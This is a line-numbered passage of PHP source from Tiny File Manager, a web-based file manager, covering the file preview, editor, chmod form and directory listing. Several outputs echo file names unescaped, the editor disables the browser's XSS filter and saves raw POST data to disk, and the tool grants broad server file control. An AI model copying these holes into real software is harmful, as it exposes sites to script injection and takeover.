  1569. }
  1570. ?>
  1571. Files in archive: <?php echo $total_files ?><br>
  1572. Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
  1573. Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
  1574. Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
  1575. <?php
  1576. }
  1577. // Image info
  1578. if ($is_image) {
  1579. $image_size = getimagesize($file_path);
  1580. echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
  1581. }
  1582. // Text info
  1583. if ($is_text) {
  1584. $is_utf8 = fm_is_utf8($content);
  1585. if (function_exists('iconv')) {
  1586. if (!$is_utf8) {
  1587. $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
  1588. }
  1589. }
  1590. echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
  1591. }
  1592. ?>
  1593. </p>
  1594. <p>
  1595. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
  1596. <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
  1597. &nbsp;
  1598. <?php
  1599. // ZIP actions
  1600. if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
  1601. $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
  1602. ?>
  1603. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
  1604. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
  1605. <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
  1606. <?php
  1607. }
  1608. if ($is_text && !FM_READONLY) {
  1609. ?>
  1610. <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
  1611. </a></b> &nbsp;
  1612. <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
  1613. class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
  1614. </a></b> &nbsp;
  1615. <?php } ?>
  1616. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
  1617. </p>
  1618. <?php
  1619. }
  1620. if($is_onlineViewer) {
  1621. if($online_viewer == 'google') {
  1622. echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
  1623. } else if($online_viewer == 'microsoft') {
  1624. echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
  1625. }
  1626. } elseif ($is_zip) {
  1627. // ZIP content
  1628. if ($filenames !== false) {
  1629. echo '<code class="maxheight">';
  1630. foreach ($filenames as $fn) {
  1631. if ($fn['folder']) {
  1632. echo '<b>' . fm_enc($fn['name']) . '</b><br>';
  1633. } else {
  1634. echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
  1635. }
  1636. }
  1637. echo '</code>';
  1638. } else {
  1639. echo '<p>Error while fetching archive info</p>';
  1640. }
  1641. } elseif ($is_image) {
  1642. // Image content
  1643. if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
  1644. echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
  1645. }
  1646. } elseif ($is_audio) {
  1647. // Audio content
  1648. echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
  1649. } elseif ($is_video) {
  1650. // Video content
  1651. echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
  1652. } elseif ($is_text) {
  1653. if (FM_USE_HIGHLIGHTJS) {
  1654. // highlight
  1655. $hljs_classes = array(
  1656. 'shtml' => 'xml',
  1657. 'htaccess' => 'apache',
  1658. 'phtml' => 'php',
  1659. 'lock' => 'json',
  1660. 'svg' => 'xml',
  1661. );
  1662. $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
  1663. if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
  1664. $hljs_class = 'nohighlight';
  1665. }
  1666. $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
  1667. } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
  1668. // php highlight
  1669. $content = highlight_string($content, true);
  1670. } else {
  1671. $content = '<pre>' . fm_enc($content) . '</pre>';
  1672. }
  1673. echo $content;
  1674. }
  1675. ?>
  1676. </div>
  1677. </div>
  1678. <?php
  1679. if(!$quickView) {
  1680. fm_show_footer();
  1681. }
  1682. exit;
  1683. }
  1684.  
  1685. // file editor
  1686. if (isset($_GET['edit'])) {
  1687. $file = $_GET['edit'];
  1688. $file = fm_clean_path($file, false);
  1689. $file = str_replace('/', '', $file);
  1690. if ($file == '' || !is_file($path . '/' . $file)) {
  1691. fm_set_msg('File not found', 'error');
  1692. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1693. }
  1694. header('X-XSS-Protection:0');
  1695. fm_show_header(); // HEADER
  1696. fm_show_nav_path(FM_PATH); // current path
  1697.  
  1698. $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
  1699. $file_path = $path . '/' . $file;
  1700.  
  1701. // normal editer
  1702. $isNormalEditor = true;
  1703. if (isset($_GET['env'])) {
  1704. if ($_GET['env'] == "ace") {
  1705. $isNormalEditor = false;
  1706. }
  1707. }
  1708.  
  1709. // Save File
  1710. if (isset($_POST['savedata'])) {
  1711. $writedata = $_POST['savedata'];
  1712. $fd = fopen($file_path, "w");
  1713. @fwrite($fd, $writedata);
  1714. fclose($fd);
  1715. fm_set_msg('File Saved Successfully');
  1716. }
  1717.  
  1718. $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
  1719. $mime_type = fm_get_mime_type($file_path);
  1720. $filesize = filesize($file_path);
  1721. $is_text = false;
  1722. $content = ''; // for text
  1723.  
  1724. if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
  1725. $is_text = true;
  1726. $content = file_get_contents($file_path);
  1727. }
  1728.  
  1729. ?>
  1730. <div class="path">
  1731. <div class="row">
  1732. <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
  1733. <div class="btn-toolbar" role="toolbar">
  1734. <?php if (!$isNormalEditor) { ?>
  1735. <div class="btn-group js-ace-toolbar">
  1736. <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
  1737. <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
  1738. <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
  1739. <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
  1740. <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
  1741. <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
  1742. <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
  1743. <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
  1744. <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
  1745. </div>
  1746. <?php } ?>
  1747. </div>
  1748. </div>
  1749. <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
  1750. <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
  1751. <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
  1752. <?php if ($is_text) { ?>
  1753. <?php if ($isNormalEditor) { ?>
  1754. <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
  1755. <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
  1756. </button>
  1757. <?php } else { ?>
  1758. <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
  1759. <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
  1760. </button>
  1761. <?php } ?>
  1762. <?php } ?>
  1763. </div>
  1764. </div>
  1765. <?php
  1766. if ($is_text && $isNormalEditor) {
  1767. echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
  1768. } elseif ($is_text) {
  1769. echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
  1770. } else {
  1771. fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
  1772. }
  1773. ?>
  1774. </div>
  1775. <?php
  1776. fm_show_footer();
  1777. exit;
  1778. }
  1779.  
  1780. // chmod (not for Windows)
  1781. if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
  1782. $file = $_GET['chmod'];
  1783. $file = fm_clean_path($file);
  1784. $file = str_replace('/', '', $file);
  1785. if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
  1786. fm_set_msg('File not found', 'error');
  1787. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  1788. }
  1789.  
  1790. fm_show_header(); // HEADER
  1791. fm_show_nav_path(FM_PATH); // current path
  1792.  
  1793. $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
  1794. $file_path = $path . '/' . $file;
  1795.  
  1796. $mode = fileperms($path . '/' . $file);
  1797.  
  1798. ?>
  1799. <div class="path">
  1800. <div class="card mb-2 <?php echo fm_get_theme(); ?>">
  1801. <h6 class="card-header">
  1802. <?php echo lng('ChangePermissions') ?>
  1803. </h6>
  1804. <div class="card-body">
  1805. <p class="card-text">
  1806. Full path: <?php echo $file_path ?><br>
  1807. </p>
  1808. <form action="" method="post">
  1809. <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
  1810. <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">
  1811.  
  1812. <table class="table compact-table <?php echo fm_get_theme(); ?>">
  1813. <tr>
  1814. <td></td>
  1815. <td><b><?php echo lng('Owner') ?></b></td>
  1816. <td><b><?php echo lng('Group') ?></b></td>
  1817. <td><b><?php echo lng('Other') ?></b></td>
  1818. </tr>
  1819. <tr>
  1820. <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
  1821. <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
  1822. <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
  1823. <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
  1824. </tr>
  1825. <tr>
  1826. <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
  1827. <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
  1828. <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
  1829. <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
  1830. </tr>
  1831. <tr>
  1832. <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
  1833. <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
  1834. <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
  1835. <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
  1836. </tr>
  1837. </table>
  1838.  
  1839. <p>
  1840. <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
  1841. <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
  1842. </p>
  1843. </form>
  1844. </div>
  1845. </div>
  1846. </div>
  1847. <?php
  1848. fm_show_footer();
  1849. exit;
  1850. }
  1851.  
  1852. //--- FILEMANAGER MAIN
  1853. fm_show_header(); // HEADER
  1854. fm_show_nav_path(FM_PATH); // current path
  1855.  
  1856. // messages
  1857. fm_show_message();
  1858.  
  1859. $num_files = count($files);
  1860. $num_folders = count($folders);
  1861. $all_files_size = 0;
  1862. $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
  1863. ?>
  1864. <form action="" method="post" class="pt-3">
  1865. <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
  1866. <input type="hidden" name="group" value="1">
  1867. <div class="table-responsive">
  1868. <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
  1869. <thead class="thead-white">
  1870. <tr>
  1871. <?php if (!FM_READONLY): ?>
  1872. <th style="width:3%" class="custom-checkbox-header">
  1873. <div class="custom-control custom-checkbox">
  1874. <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
  1875. <label class="custom-control-label" for="js-select-all-items"></label>
  1876. </div>
  1877. </th><?php endif; ?>
  1878. <th><?php echo lng('Name') ?></th>
  1879. <th><?php echo lng('Size') ?></th>
  1880. <th><?php echo lng('Modified') ?></th>
  1881. <?php if (!FM_IS_WIN && !$hide_Cols): ?>
  1882. <th><?php echo lng('Perms') ?></th>
  1883. <th><?php echo lng('Owner') ?></th><?php endif; ?>
  1884. <th><?php echo lng('Actions') ?></th>
  1885. </tr>
  1886. </thead>
  1887. <?php
  1888. // link to parent folder
  1889. if ($parent !== false) {
  1890. ?>
  1891. <tr><?php if (!FM_READONLY): ?>
  1892. <td class="nosort"></td><?php endif; ?>
  1893. <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
  1894. <td class="border-0"></td>
  1895. <td class="border-0"></td>
  1896. <td class="border-0"></td>
  1897. <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
  1898. <td class="border-0"></td>
  1899. <td class="border-0"></td>
  1900. <?php } ?>
  1901. </tr>
  1902. <?php
  1903. }
  1904. $ii = 3399;
  1905. foreach ($folders as $f) {
  1906. $is_link = is_link($path . '/' . $f);
  1907. $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
  1908. $modif_raw = filemtime($path . '/' . $f);
  1909. $modif = date(FM_DATETIME_FORMAT, $modif_raw);
  1910. if ($calc_folder) {
  1911. $filesize_raw = fm_get_directorysize($path . '/' . $f);
  1912. $filesize = fm_get_filesize($filesize_raw);
  1913. }
  1914. else {
  1915. $filesize_raw = "";
  1916. $filesize = lng('Folder');
  1917. }
  1918. $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
  1919. if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
  1920. $owner = posix_getpwuid(fileowner($path . '/' . $f));
  1921. $group = posix_getgrgid(filegroup($path . '/' . $f));
  1922. } else {
  1923. $owner = array('name' => '?');
  1924. $group = array('name' => '?');
  1925. }
  1926. ?>
  1927. <tr>
  1928. <?php if (!FM_READONLY): ?>
  1929. <td class="custom-checkbox-td">
  1930. <div class="custom-control custom-checkbox">
  1931. <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
  1932. <label class="custom-control-label" for="<?php echo $ii ?>"></label>
  1933. </div>
  1934. </td><?php endif; ?>
  1935. <td>
  1936. <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
  1937. </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
  1938. </td>
  1939. <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
  1940. <?php echo $filesize; ?>
  1941. </td>
  1942. <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
  1943. <?php if (!FM_IS_WIN && !$hide_Cols): ?>
  1944. <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
  1945. </td>
  1946. <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
  1947. <?php endif; ?>
  1948. <td class="inline-actions"><?php if (!FM_READONLY): ?>
  1949. <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
  1950. <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
  1951. <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
  1952. <?php endif; ?>
  1953. <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
  1954. </td>
  1955. </tr>
  1956. <?php
  1957. flush();
  1958. $ii++;
  1959. }
  1960. $ik = 6070;
  1961. foreach ($files as $f) {
  1962. $is_link = is_link($path . '/' . $f);
  1963. $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
  1964. $modif_raw = filemtime($path . '/' . $f);
  1965. $modif = date(FM_DATETIME_FORMAT, $modif_raw);
  1966. $filesize_raw = fm_get_size($path . '/' . $f);
  1967. $filesize = fm_get_filesize($filesize_raw);
  1968. $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
  1969. $all_files_size += $filesize_raw;
  1970. $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
  1971. if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
  1972. $owner = posix_getpwuid(fileowner($path . '/' . $f));
  1973. $group = posix_getgrgid(filegroup($path . '/' . $f));
  1974. } else {
  1975. $owner = array('name' => '?');
  1976. $group = array('name' => '?');
  1977. }
  1978. ?>
  1979. <tr>
  1980. <?php if (!FM_READONLY): ?>
  1981. <td class="custom-checkbox-td">
  1982. <div class="custom-control custom-checkbox">
  1983. <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
  1984. <label class="custom-control-label" for="<?php echo $ik ?>"></label>
  1985. </div>
  1986. </td><?php endif; ?>
  1987. <td>
  1988. <div class="filename">
  1989. <?php
  1990. if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
  1991. <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
  1992. <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
  1993. <?php else: ?>
  1994. <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
  1995. <?php endif; ?>
  1996. <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
  1997. </a>
  1998. <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
  1999. </div>
  2000. </td>
  2001. <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
  2002. <?php echo $filesize; ?>
  2003. </span></td>
  2004. <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
  2005. <?php if (!FM_IS_WIN && !$hide_Cols): ?>
  2006. <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
  2007. </td>
  2008. <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
  2009. <?php endif; ?>
  2010. <td class="inline-actions">
  2011. <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win(fm_enc($f)) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
  2012. <?php if (!FM_READONLY): ?>
  2013. <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
  2014. <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
  2015. <a title="<?php echo lng('CopyTo') ?>..."
  2016. href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
  2017. <?php endif; ?>
  2018. <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
  2019. <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
  2020. </td>
  2021. </tr>
  2022. <?php
  2023. flush();
  2024. $ik++;
  2025. }
  2026.  
  2027. if (empty($folders) && empty($files)) {
  2028. ?>
  2029. <tfoot>
  2030. <tr><?php if (!FM_READONLY): ?>
  2031. <td></td><?php endif; ?>
  2032. <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
  2033. </tr>
  2034. </tfoot>
  2035. <?php
  2036. } else {
  2037. ?>
  2038. <tfoot>
  2039. <tr><?php if (!FM_READONLY): ?>
  2040. <td class="gray"></td><?php endif; ?>
  2041. <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
  2042. <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
  2043. <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
  2044. <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
  2045. <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
  2046. </td>
  2047. </tr>
  2048. </tfoot>
  2049. <?php
  2050. }
  2051. ?>
  2052. </table>
  2053. </div>
  2054.  
  2055. <div class="row">
  2056. <?php if (!FM_READONLY): ?>
  2057. <div class="col-xs-12 col-sm-9">
  2058. <ul class="list-inline footer-action">
  2059. <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
  2060. <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
  2061. <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
  2062. <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
  2063. <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
  2064. <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
  2065. <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
  2066. <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
  2067. <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
  2068. <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
  2069. <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
  2070. </ul>
  2071. </div>
  2072. <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
  2073. <?php else: ?>
  2074. <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
  2075. <?php endif; ?>
  2076. </div>
  2077.  
  2078. </form>
  2079.  
  2080. <?php
  2081. fm_show_footer();
  2082.  
  2083. //--- END
  2084.  
  2085. // Functions
  2086.  
  2087. /**
  2088. * Check if the filename is allowed.
  2089. * @param string $filename
  2090. * @return bool
  2091. */
  2092. function fm_is_file_allowed($filename)
  2093. {
  2094. // By default, no file is allowed
  2095. $allowed = false;
  2096.  
  2097. if (FM_EXTENSION) {
  2098. $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
  2099.  
  2100. if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
  2101. $allowed = true;
  2102. }
  2103. }
  2104.  
  2105. return $allowed;
  2106. }
  2107.  
  2108. /**
  2109. * Delete file or folder (recursively)
  2110. * @param string $path
  2111. * @return bool
  2112. */
  2113. function fm_rdelete($path)
  2114. {
  2115. if (is_link($path)) {
  2116. return unlink($path);
  2117. } elseif (is_dir($path)) {
  2118. $objects = scandir($path);
  2119. $ok = true;
  2120. if (is_array($objects)) {
  2121. foreach ($objects as $file) {
  2122. if ($file != '.' && $file != '..') {
  2123. if (!fm_rdelete($path . '/' . $file)) {
  2124. $ok = false;
  2125. }
  2126. }
  2127. }
  2128. }
  2129. return ($ok) ? rmdir($path) : false;
  2130. } elseif (is_file($path)) {
  2131. return unlink($path);
  2132. }
  2133. return false;
  2134. }
  2135.  
  2136. /**
  2137. * Recursive chmod
  2138. * @param string $path
  2139. * @param int $filemode
  2140. * @param int $dirmode
  2141. * @return bool
  2142. * @todo Will use in mass chmod
  2143. */
  2144. function fm_rchmod($path, $filemode, $dirmode)
  2145. {
  2146. if (is_dir($path)) {
